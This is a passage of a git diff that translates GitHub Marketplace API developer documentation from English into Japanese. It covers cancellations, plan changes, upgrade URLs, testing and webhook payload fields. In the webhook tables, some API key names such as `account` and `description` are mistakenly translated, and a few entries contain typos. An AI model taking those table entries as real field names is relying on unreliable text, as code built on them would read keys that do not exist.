@@ -11,25 +11,26 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Plan cancellations
+shortTitle: プランのキャンセル
 ---
-For more information about cancelling as it relates to billing, see "[Billing customers in {% data variables.product.prodname_marketplace %}](/apps//marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace)."
 
-## Step 1. Cancellation event
+支払いに関連するキャンセルについての詳しい情報は、「[{% data variables.product.prodname_marketplace %}での顧客の支払い](/apps//marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace)」を参照してください。
 
-If a customer chooses to cancel a {% data variables.product.prodname_marketplace %} order, GitHub sends a [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook with the action `cancelled` to your app when the cancellation takes effect. If the customer cancels during a free trial, your app will receive the event immediately. When a customer cancels a paid plan, the cancellation will occur at the end of the customer's billing cycle.
+## ステップ 1. キャンセルイベント
 
-## Step 2. Deactivating customer accounts
+顧客が{% data variables.product.prodname_marketplace %}の注文をキャンセルすることにした場合、GitHubは[`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhookを`cancelled`というアクション付きで、キャンセルが有効になった時点でアプリケーションに送信します。 顧客が無料トライアル中にキャンセルした場合、アプリケーションはすぐにこのイベントを受け取ります。 顧客が有料プランをキャンセルした場合、キャンセルは顧客の支払いサイクルの終了時に行われます。
 
-When a customer cancels a free or paid plan, your app must perform these steps to complete cancellation:
+## ステップ 2. 顧客のアカウントのアクティベーション解除
 
-1. Deactivate the account of the customer who cancelled their plan.
-1. Revoke the OAuth token your app received for the customer.
-1. If your app is an OAuth App, remove all webhooks your app created for repositories.
-1. Remove all customer data within 30 days of receiving the `cancelled` event.
+顧客が無料もしくは有料のプランをキャンセルした場合、アプリケーションはキャンセルを完了するために以下のステップを実行しなければなりません。
+
+1. プランをキャンセルした顧客のアカウントのアクティベーションを解除する。
+1. 顧客用にアプリケーションが受け取ったOAuthトークンを取り消す。
+1. アプリケーションがOAuthアプリケーションの場合、リポジトリ用にアプリケーションが作成したすべてのwebhookを削除する。
+1. `cancelled`イベントを受け取ってから30日以内に顧客のすべてのデータを削除する。
 
 {% note %}
 
-**Note:** We recommend using the [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook's `effective_date` to determine when a plan change will occur and periodically synchronizing the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). For more information on webhooks, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)."
+**ノート:** プランの変更がいつ生じるのかを知るために[`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhookの`effective_date`を利用し、定期的に[プランのリストアカウント](/rest/reference/apps#list-accounts-for-a-plan)を同期することをおすすめします。 webhookに関する詳しい情報については「[{% data variables.product.prodname_marketplace %}のwebhookイベント](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)」を参照してください。
 
 {% endnote %}
diff --git a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
index 34142dbb37..deefb7ad2b 100644
--- a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
+++ b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
@@ -1,6 +1,6 @@
 ---
-title: Handling plan changes
-intro: 'Upgrading or downgrading a {% data variables.product.prodname_marketplace %} app triggers the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook with the `changed` action, which kicks off the upgrade or downgrade flow.'
+title: プラン変更の処理
+intro: '{% data variables.product.prodname_marketplace %} アプリケーションのアップグレードあるいはダウングレードによって、[`marketplace_purchase` イベント](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhookが`changed`アクション付きでトリガされ、それによってアップグレードあるいはダウングレードのフローが開始されます。'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/upgrading-or-downgrading-plans
   - /apps/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans
@@ -12,54 +12,55 @@ versions:
 topics:
   - Marketplace
 ---
-For more information about upgrading and downgrading as it relates to billing, see "[Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)."
 
-## Step 1. Pricing plan change event
+支払いに関連するアップグレード及びダウングレードに関する詳しい説明については「[{% data variables.product.prodname_marketplace %} APIとのインテグレーション](/marketplace/integrating-with-the-github-marketplace-api/)」を参照してください。
 
-GitHub send the `marketplace_purchase` webhook with the `changed` action to your app, when a customer makes any of these changes to their {% data variables.product.prodname_marketplace %} order:
-* Upgrades to a more expensive pricing plan or downgrades to a lower priced plan.
-* Adds or removes seats to their existing plan.
-* Changes the billing cycle.
+## ステップ 1. 料金プランの変更イベント
 
-GitHub will send the webhook when the change takes effect. For example, when a customer downgrades a plan, GitHub sends the webhook at the end of the customer's billing cycle. GitHub sends a webhook to your app immediately when a customer upgrades their plan to allow them access to the new service right away. If a customer switches from a monthly to a yearly billing cycle, it's considered an upgrade. See "[Billing customers in {% data variables.product.prodname_marketplace %}](/marketplace/selling-your-app/billing-customers-in-github-marketplace/)" to learn more about what actions are considered an upgrade or downgrade.
+顧客が{% data variables.product.prodname_marketplace %}の注文に対して以下のいずれかの変更を行うと、GitHubは`marketplace_purchase` webhookを`changed`アクション付きでアプリケーションに送信します。
+* より高価な価格プランへのアップグレードあるいは低価格なプランへのダウングレード
+* 既存のプランへのシートの追加あるいはシートの削除
+* 支払いサイクルの変更
 
-Read the `effective_date`, `marketplace_purchase`, and `previous_marketplace_purchase` from the `marketplace_purchase` webhook to update the plan's start date and make changes to the customer's billing cycle and pricing plan. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload.
+GitHubは、変更が有効になるとwebhookを送信します。 たとえば、顧客がプランをダウングレードすると、その顧客の支払いサイクルの終了時点でwebhookを送信します。 顧客がプランをアップグレードした場合には、新しいサービスをすぐに利用できるようにするため、GitHubは即座にアプリケーションにwebhookを送信します。 顧客が支払いサイクルを月次から年次に切り替えた場合は、アップグレードと見なされます。 どういったアクションがアップグレードやダウングレードと見なされるかを詳しく学ぶには、「[{% data variables.product.prodname_marketplace %}での顧客への課金](/marketplace/selling-your-app/billing-customers-in-github-marketplace/)」を参照してください。
 
-If your app offers free trials, you'll receive the `marketplace_purchase` webhook with the `changed` action when the free trial expires. If the customer's free trial expires, upgrade the customer to the paid version of the free-trial plan.
+プランの開始日を更新し、顧客の支払いサイクルと価格プランを変更するために、`marketplace_purchase`から`effective_date`、`marketplace_purchase`、`previous_marketplace_purchase`を読み取ってください。 `marketplace_purchase`イベントペイロードの例については「[{% data variables.product.prodname_marketplace %} webhookイベント](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)」を参照してください。
 
-## Step 2. Updating customer accounts
+アプリケーションが無料トライアルを提供しているなら、無料トライアルの有効期限が切れると`marketplace_purchase` webhookを`changed`アクション付きで受け取ります。 顧客の無料トライアル期間が終了したら、その顧客を無料トライアルプランの有料バージョンにアップグレードしてください。
 
-You'll need to update the customer's account information to reflect the billing cycle and pricing plan changes the customer made to their {% data variables.product.prodname_marketplace %} order. Display upgrades to the pricing plan, `seat_count` (for per-unit pricing plans), and billing cycle on your Marketplace app's website or your app's UI when you receive the `changed` action webhook.
+## ステップ 2. 顧客アカウントの更新
 
-When a customer downgrades a plan, it's recommended to review whether a customer has exceeded their plan limits and engage with them directly in your UI or by reaching out to them by phone or email.
+顧客が{% data variables.product.prodname_marketplace %}の注文に対して行った支払いサイクルや価格プランの変更を反映させるために、顧客のアカウント情報を更新しなければなりません。 `changed`アクションwebhookを受信した際に、MarketplaceアプリケーションのWebサイトか、アプリケーションのUIに、価格プラン、`seat_count`（ユニット単位の価格プランの場合）、支払いサイクルのアップグレードを表示してください。
 
-To encourage people to upgrade you can display an upgrade URL in your app's UI. See "[About upgrade URLs](#about-upgrade-urls)" for more details.
+顧客がプランをダウングレードした場合には、顧客がプランの制限を超えているかをレビューし、UIで直接関わるか、電話やメールで連絡することをおすすめします。
+
+アップグレードを促すために、アップグレードのURLをアプリケーションのUIに表示できます。 詳細については「[アップグレードURLについて](#about-upgrade-urls)」を参照してください。
 
 {% note %}
 
-**Note:** We recommend performing a periodic synchronization using `GET /marketplace_listing/plans/:id/accounts` to ensure your app has the correct plan, billing cycle information, and unit count (for per-unit pricing) for each account.
+**ノート:** `GET /marketplace_listing/plans/:id/accounts`を使って定期的に同期を行い、それぞれのアカウントに対してアプリケーションが正しいプラン、支払いサイクルの情報、ユニット数（ユニット単位の料金の場合）を保持していることを確認するようおすすめします。
 
 {% endnote %}
 
-## Failed upgrade payments
+## アップグレードの支払いの失敗
 
 {% data reusables.marketplace.marketplace-failed-purchase-event %}
 
-## About upgrade URLs
+## アップグレードURLについて
 
-You can redirect users from your app's UI to upgrade on GitHub using an upgrade URL:
+アップグレードURLを使い、ユーザをアプリケーションのUIからGitHub上でのアップグレードへリダイレクトできます。
 
 ```
 https://www.github.com/marketplace/<LISTING_NAME>/upgrade/<LISTING_PLAN_NUMBER>/<CUSTOMER_ACCOUNT_ID>
 ```
 
-For example, if you notice that a customer is on a 5 person plan and needs to move to a 10 person plan, you could display a button in your app's UI that says "Here's how to upgrade" or show a banner with a link to the upgrade URL. The upgrade URL takes the customer to your listing plan's upgrade confirmation page.
+たとえば、顧客が5人のプランを使っていて、10人のプランに移行する必要があることに気づいた場合、アプリケーションのUIに「アップグレードの方法はこちら」というボタンを表示したり、アップグレードURLへのリンクを持つバナーを表示したりできます。 アップグレードURLは顧客をリストされたプランのアップグレードの確認ページへ移動させます。
 
-Use the `LISTING_PLAN_NUMBER` for the plan the customer would like to purchase. When you create new pricing plans they receive a `LISTING_PLAN_NUMBER`, which is unique to each plan across your listing, and a `LISTING_PLAN_ID`, which is unique to each plan in the {% data variables.product.prodname_marketplace %}. You can find these numbers when you [List plans](/rest/reference/apps#list-plans), which identifies your listing's pricing plans. Use the `LISTING_PLAN_ID` and the "[List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan)" endpoint to get the `CUSTOMER_ACCOUNT_ID`.
+顧客が購入したいであろうプランの`LISTING_PLAN_NUMBER`を使ってください。 新しい価格プランを作成すると、それらにはリスト内で各プランに対してユニークな`LISTING_PLAN_NUMBER`と、{% data variables.product.prodname_marketplace %}内で各プランに対してユニークな`LISTING_PLAN_ID`が与えられます。 [プランをリスト](/rest/reference/apps#list-plans)する際にはこれらの番号があり、リストの価格プランを特定できます。 `LISTING_PLAN_ID`と「[プランに対するアカウントのリスト](/rest/reference/apps#list-accounts-for-a-plan)」エンドポイントを使って、`CUSTOMER_ACCOUNT_ID`を取得してください。
 
 
 {% note %}
 
-**Note:** If your customer upgrades to additional units (such as seats), you can still send them to the appropriate plan for their purchase, but we are unable to support `unit_count` parameters at this time.
+**ノート:** 顧客が追加ユニット（シートなど）のアップグレードをした場合でも、顧客に購入に対する適切なプランを送信することはできますが、その時点で弊社は`unit_count`パラメータをサポートできません。
 
 {% endnote %}
diff --git a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
index 074d42544b..c03874def2 100644
--- a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
+++ b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using the GitHub Marketplace API in your app
-intro: 'Learn how to integrate the {% data variables.product.prodname_marketplace %} API and webhook events into your app for the {% data variables.product.prodname_marketplace %} .'
+title: アプリケーション内でのGitHub marketplace APIの使用
+intro: '{% data variables.product.prodname_marketplace %}用に、アプリケーションに{% data variables.product.prodname_marketplace %} APIとwebhookイベントを統合する方法を学んでください。'
 redirect_from:
   - /apps/marketplace/setting-up-github-marketplace-webhooks
   - /apps/marketplace/integrating-with-the-github-marketplace-api
@@ -17,6 +17,6 @@ children:
   - /handling-new-purchases-and-free-trials
   - /handling-plan-changes
   - /handling-plan-cancellations
-shortTitle: Marketplace API usage
+shortTitle: Marketplace APIの使い方
 ---
 
diff --git a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
index 8a02a458a7..50ac30fdd8 100644
--- a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
+++ b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
@@ -1,6 +1,6 @@
 ---
-title: REST endpoints for the GitHub Marketplace API
-intro: 'To help manage your app on {% data variables.product.prodname_marketplace %}, use these {% data variables.product.prodname_marketplace %} API endpoints.'
+title: GItHub Marketplace API用のRESTエンドポイント
+intro: '{% data variables.product.prodname_marketplace %}上でのアプリケーションの管理を支援するために、以下の{% data variables.product.prodname_marketplace %} APIエンドポイントを使ってください。'
 redirect_from:
   - /apps/marketplace/github-marketplace-api-endpoints
   - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints
@@ -13,20 +13,21 @@ topics:
   - Marketplace
 shortTitle: REST API
 ---
-Here are some useful endpoints available for Marketplace listings:
 
-* [List plans](/rest/reference/apps#list-plans)
-* [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan)
-* [Get a subscription plan for an account](/rest/reference/apps#get-a-subscription-plan-for-an-account)
-* [List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+以下は、Marketplaceのリストで利用できる便利なエンドポイントです。
 
-See these pages for details on how to authenticate when using the {% data variables.product.prodname_marketplace %} API:
+* [プランのリスト](/rest/reference/apps#list-plans)
+* [プランのアカウントのリスト](/rest/reference/apps#list-accounts-for-a-plan)
+* [アカウントのサブスクリプションプランの取得](/rest/reference/apps#get-a-subscription-plan-for-an-account)
+* [認証されたユーザのサブスクリプションのリスト](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
 
-* [Authorization options for OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/)
-* [Authentication options for GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/)
+{% data variables.product.prodname_marketplace %} APIを使用する際の認証の受け方の詳細については、以下のページを参照してください。
+
+* [OAuth Appの認可オプション](/apps/building-oauth-apps/authorizing-oauth-apps/)
+* [GitHub Appの認可オプション](/apps/building-github-apps/authenticating-with-github-apps/)
 
 {% note %}
 
-**Note:** [Rate limits for the REST API](/rest#rate-limiting) apply to all {% data variables.product.prodname_marketplace %} API endpoints.
+**ノート:** [REST APIのためのレート制限](/rest#rate-limiting)は、{% data variables.product.prodname_marketplace %} APIのすべてのエンドポイントに適用されます。
 
 {% endnote %}
diff --git a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
index 537d8fe792..7e41681298 100644
--- a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
+++ b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Testing your app
-intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.'
+title: アプリをテストする
+intro: 'リストを{% data variables.product.prodname_marketplace %}にサブミットする前に、APIとwebhookを使ってアプリケーションをテストし、顧客に理想的な体験を提供できるようにすることをGitHubはおすすめします。 オンボーディングの専門家の検証前に、アプリケーションは支払いフローを適切に処理しなければなりません。'
 redirect_from:
   - /apps/marketplace/testing-apps-apis-and-webhooks
   - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps
@@ -12,34 +12,35 @@ versions:
 topics:
   - Marketplace
 ---
-## Testing apps
 
-You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. Note that you can only simulate purchases for plans published in the draft listing and not for draft plans. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+## アプリケーションのテスト
 
-### Using a development app with a draft listing to test changes
+ドラフトの{% data variables.product.prodname_marketplace %}リストを使って、それぞれの支払いフローをシミュレートできます。 リストがドラフト状態にあるということは、まだそれが承認のためにサブミットされていないということです。 ドラフトの{% data variables.product.prodname_marketplace %}リストを使って行った購入は、実際の取引には_ならず_、GitHubはクレジットカードへの課金をしません。 シミュレートできるのはドラフトのリストに掲載されているプランの購入のみであり、ドラフトのプラン購入はシミュレートできません。 詳細な情報については、「[アプリケーションのリストのドラフト](/developers/github-marketplace/drafting-a-listing-for-your-app)」及び「[アプリケーションでの{% data variables.product.prodname_marketplace %} APIの利用](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)」を参照してください。
 
-A {% data variables.product.prodname_marketplace %} listing can only be associated with a single app registration, and each app can only access its own {% data variables.product.prodname_marketplace %} listing. For these reasons, we recommend configuring a separate development app, with the same configuration as your production app, and creating a _draft_ {% data variables.product.prodname_marketplace %} listing that you can use for testing. The draft {% data variables.product.prodname_marketplace %} listing allows you to test changes without affecting the active users of your production app. You will never have to submit your development {% data variables.product.prodname_marketplace %} listing, since you will only use it for testing.
+### 変更のテストのために開発アプリケーションをドラフトリストと使用する
 
-Because you can only create draft {% data variables.product.prodname_marketplace %} listings for public apps, you must make your development app public. Public apps are not discoverable outside of published {% data variables.product.prodname_marketplace %} listings as long as you don't share the app's URL. A Marketplace listing in the draft state is only visible to the app's owner.
+{% data variables.product.prodname_marketplace %}リストは、1つのアプリケーションの登録とのみ関連づけることができ、それぞれのアプリケーションは自身の{% data variables.product.prodname_marketplace %}リストにのみアクセスできます。 そのため、プロダクションのアプリケーションと同じ設定で別個の開発アプリケーションを設定し、テストに使用できる_ドラフト_の{% data variables.product.prodname_marketplace %}リストを作成することをおすすめします。 ドラフトの{% data variables.product.prodname_marketplace %}リストを使えば、プロダクションのアプリケーションのアクティブなユーザに影響することなく変更をテストできます。 開発の{% data variables.product.prodname_marketplace %}リストはテストにのみ使われるので、サブミットする必要はありません。
 
-Once you have a development app with a draft listing, you can use it to test changes you make to your app while integrating with the {% data variables.product.prodname_marketplace %} API and webhooks.
+ドラフトの{% data variables.product.prodname_marketplace %}リストは公開アプリケーションに対してのみ作成できるので、開発アプリケーションは公開しなければなりません。 公開アプリケーションは、アプリケーションのURLを共有しないかぎり、公開された{% data variables.product.prodname_marketplace %}リスト外で見つかることはありません。 ドラフト状態のMarketplaceリストは、アプリケーションの所有者にしか見えません。
+
+ドラフトリストと共に開発アプリケーションができたら、{% data variables.product.prodname_marketplace %} APIやwebhookと統合しながらそれを使ってアプリケーションの変更をテストできます。
 
 {% warning %}
 
-Do not make test purchases with an app that is live in {% data variables.product.prodname_marketplace %}.
+{% data variables.product.prodname_marketplace %}で公開されているアプリケーションでは、購入のテストを行わないでください。
 
 {% endwarning %}
 
-### Simulating Marketplace purchase events
+### Marketplaceの購入イベントのシミュレーション
 
-Your testing scenarios may require setting up listing plans that offer free trials and switching between free and paid subscriptions. Because downgrades and cancellations don't take effect until the next billing cycle, GitHub provides a developer-only feature to "Apply Pending Change" to force `changed` and `cancelled` plan actions to take effect immediately. You can access **Apply Pending Change** for apps with _draft_ Marketplace listings in https://github.com/settings/billing#pending-cycle:
+テストのシナリオでは、無料トライアルを提供するリストプランをセットアップし、無料と有料のサブスクリプション間の切り替えが必要になるかもしれません。 ダウングレードやキャンセルは、次回の支払いサイクルまでは有効にならないので、GitHubは開発者のみの機能として、`changed`及び`cancelled`のプランアクションを強制的にすぐに有効にする「保留中の変更の適用」機能を提供しています。 _ドラフト_Marketplaceリストのアプリケーションのための**保留中の変更の適用**には、https://github.com/settings/billing#pending-cycleでアクセスできます。
 
-![Apply pending change](/assets/images/github-apps/github-apps-apply-pending-changes.png)
+![保留中の変更の適用](/assets/images/github-apps/github-apps-apply-pending-changes.png)
 
-## Testing APIs
+## APIのテスト
 
-For most {% data variables.product.prodname_marketplace %} API endpoints, we also provide stubbed API endpoints that return hard-coded, fake data you can use for testing. To receive stubbed data, you must specify stubbed URLs, which include `/stubbed` in the route (for example, `/user/marketplace_purchases/stubbed`). For a list of endpoints that support this stubbed-data approach, see [{% data variables.product.prodname_marketplace %} endpoints](/rest/reference/apps#github-marketplace).
+ほとんどの{% data variables.product.prodname_marketplace %} APIエンドポイントに対しては、テストに利用できるハードコーディングされた偽のデータを返すスタブのAPIエンドポイントも提供されています。 スタブのデータを受信するには、ルートに`/stubbed`を含むスタブURL（たとえば`/user/marketplace_purchases/stubbed`）を指定してください。 スタブデータのアプローチをサポートしているエンドポイントのリストは、[{% data variables.product.prodname_marketplace %}エンドポイント](/rest/reference/apps#github-marketplace)を参照してください。
 
-## Testing webhooks
+## webhookのテスト
 
-GitHub provides tools for testing your deployed payloads. For more information, see "[Testing webhooks](/webhooks/testing/)."
+GitHubは、デプロイされたペイロードをテストするためのツールを提供しています。 詳しい情報については「[webhookのテスト](/webhooks/testing/)」を参照してください。
diff --git a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
index eb0ffba0ac..75428b691f 100644
--- a/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
+++ b/translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
@@ -1,6 +1,6 @@
 ---
-title: Webhook events for the GitHub Marketplace API
-intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.'
+title: GitHub Marketplace APIのためのwebhookイベント
+intro: '{% data variables.product.prodname_marketplace %}アプリケーションは、ユーザのプランに対する変更に関する情報を、Marketplaceの購入イベントwebhookから受け取ります。 Marketplaceの購入イベントは、ユーザが支払いプランの購入、キャンセル、変更をした場合にトリガーされます。'
 redirect_from:
   - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing
   - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events
@@ -11,65 +11,66 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Webhook events
+shortTitle: webhook イベント
 ---
-## {% data variables.product.prodname_marketplace %} purchase webhook payload
 
-Webhooks `POST` requests have special headers. See "[Webhook delivery headers](/webhooks/event-payloads/#delivery-headers)" for more details. GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub.
+## {% data variables.product.prodname_marketplace %}購入webhookのペイロード
 
-Cancellations and downgrades take effect on the first day of the next billing cycle. Events for downgrades and cancellations are sent when the new plan takes effect at the beginning of the next billing cycle. Events for new purchases and upgrades begin immediately. Use the `effective_date` in the webhook payload to determine when a change will begin.
+webhookの`POST`リクエストには、特別なヘッダがあります。 詳細については「[webhookの配信ヘッダ](/webhooks/event-payloads/#delivery-headers)」を参照してください。 GitHubは、失敗した配信の試行を再送信しません。 GitHubが送信したすべてのwebhookのペイロードを、アプリケーションが確実に受信できるようにしてください。
+
+キャンセル及びダウングレードは、次の支払いサイクルの初日に有効になります。 ダウングレードとキャンセルのイベントは、次の支払いサイクルの開始時に新しいプランが有効になったときに送信されます。 新規の購入とアップグレードのイベントは、すぐに開始されます。 変更がいつ始まるかを判断するには、webhookのペイロード中の`effective_date`を使ってください。
 
 {% data reusables.marketplace.marketplace-malicious-behavior %}
 
-Each `marketplace_purchase` webhook payload will have the following information:
+それぞれの`marketplace_purchase` webhookのペイロードは、以下の情報を持ちます。
 
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | The action performed to generate the webhook. Can be `purchased`, `cancelled`, `pending_change`, `pending_change_cancelled`, or `changed`. For more information, see the example webhook payloads below. **Note:** The `pending_change` and `pending_change_cancelled` payloads contain the same keys as shown in the [`changed` payload example](#example-webhook-payload-for-a-changed-event).
-`effective_date` | `string` | The date the `action` becomes effective.
-`sender` | `object` | The person who took the `action` that triggered the webhook.
-`marketplace_purchase` | `object` | The {% data variables.product.prodname_marketplace %} purchase information.
+| キー                     | 種類       | 説明                                                                                                                                                                                                                                                                                                           |
+| ---------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `action`               | `string` | webhookを生成するために行われたアクション。 `purchased`、`cancelled`、`pending_change`、`pending_change_cancelled`、`changed`のいずれかになります。 詳しい情報については、以下のwebhookペイロードの例を参照してください。 **ノート:** `pending_change`及び`pending_change_cancelled`ペイロードには、[`changed`ペイロードの例](#example-webhook-payload-for-a-changed-event)に示されているものと同じキーが含まれます。 |
+| `effective_date`       | `string` | `action`が有効になる日付。                                                                                                                                                                                                                                                                                            |
+| `sender`               | `オブジェクト` | webhookをトリガーした`action`を行った人。                                                                                                                                                                                                                                                                                 |
+| `marketplace_purchase` | `オブジェクト` | {% data variables.product.prodname_marketplace %}の購入情報。                                                                                                                                                                                                                                                      |
 
-The `marketplace_purchase` object has the following keys:
+`marketplace_purchase`オブジェクトは、以下のキーを持ちます。
 
-Key | Type | Description
-----|------|-------------
-`account` | `object` | The `organization` or `user` account associated with the subscription. Organization accounts will include `organization_billing_email`, which is the organization's administrative email address. To find email addresses for personal accounts, you can use the [Get the authenticated user](/rest/reference/users#get-the-authenticated-user) endpoint.
-`billing_cycle` | `string` | Can be `yearly` or `monthly`. When the `account` owner has a free GitHub plan and has purchased a free {% data variables.product.prodname_marketplace %} plan, `billing_cycle` will be `nil`.
-`unit_count`  | `integer` | Number of units purchased.
-`on_free_trial` | `boolean` | `true` when the `account` is on a free trial.
-`free_trial_ends_on` | `string` | The date the free trial will expire.
-`next_billing_date` | `string` | The date that the next billing cycle will start. When the `account` owner has a free GitHub.com plan and has purchased a free {% data variables.product.prodname_marketplace %} plan, `next_billing_date` will be `nil`.
-`plan` | `object` | The plan purchased by the `user` or `organization`.
+| キー                   | 種類        | 説明                                                                                                                                                                                                                                      |
+| -------------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `アカウント`              | `オブジェクト`  | サブスクリプションに関連づけられた`organization`もしくあは`user`アカウント。 Organizationアカウントは、そのOrganizationの管理者のメールアドレスである`organization_billing_email`を含みます。 個人アカウントのメールアドレスを知るには、[認証されたユーザの取得](/rest/reference/users#get-the-authenticated-user)エンドポイントが利用できます。 |
+| `billing_cycle`      | `string`  | `yearly`もしくは`monthly`のいずれかになります。 `account`の所有者が無料のGitHubのプランを使っており、無料の{% data variables.product.prodname_marketplace %}プランを購入した場合、`billing_cycle`は`nil`になります。                                                                           |
+| `unit_count`         | `integer` | 購入したユーザ数。                                                                                                                                                                                                                               |
+| `on_free_trial`      | `boolean` | `account`が無料トライアル中の場合`true`になります。                                                                                                                                                                                                       |
+| `free_trial_ends_on` | `string`  | 無料トライアルが期限切れになる日付。                                                                                                                                                                                                                      |
+| `next_billing_date`  | `string`  | 次の支払いサイクルが始まる日付。 `account`の所有者が無料のGitHub.comのプランを使っており、無料の{% data variables.product.prodname_marketplace %}プランを購入した場合、`next_billing_date`は`nil`になります。                                                                                   |
+| `plan`               | `オブジェクト`  | `user`または`organization`が購入したプラン。                                                                                                                                                                                                        |
 
-The `plan` object has the following keys:
+`plan`オブジェクトには以下のキーがあります。
 
-Key | Type | Description
-----|------|-------------
-`id` | `integer` | The unique identifier for this plan.
-`name` | `string` | The plan's name.
-`description` | `string` | This plan's description.
-`monthly_price_in_cents` | `integer` | The monthly price of this plan in cents (US currency). For example, a listing that costs 10 US dollars per month will be 1000 cents.
-`yearly_price_in_cents` | `integer` | The yearly price of this plan in cents (US currency). For example, a listing that costs 100 US dollars per month will be 10000 cents.
-`price_model` | `string` | The pricing model for this listing. Can be one of `flat-rate`, `per-unit`, or `free`.
-`has_free_trial` | `boolean` | `true` when this listing offers a free trial.
-`unit_name` | `string` | The name of the unit. If the pricing model is not `per-unit` this will be `nil`.
-`bullet` | `array of strings` | The names of the bullets set in the pricing plan.
+| キー                       | 種類                 | 説明                                                     |
+| ------------------------ | ------------------ | ------------------------------------------------------ |
+| `id`                     | `integer`          | このプランの一意の識別子。                                          |
+| `name`                   | `string`           | プラン名。                                                  |
+| `説明`                     | `string`           | プランの説明。                                                |
+| `monthly_price_in_cents` | `integer`          | このプランのセント (米国の通貨) 単位の月額。 たとえば、月額10米ドルのリストは1000セントです。   |
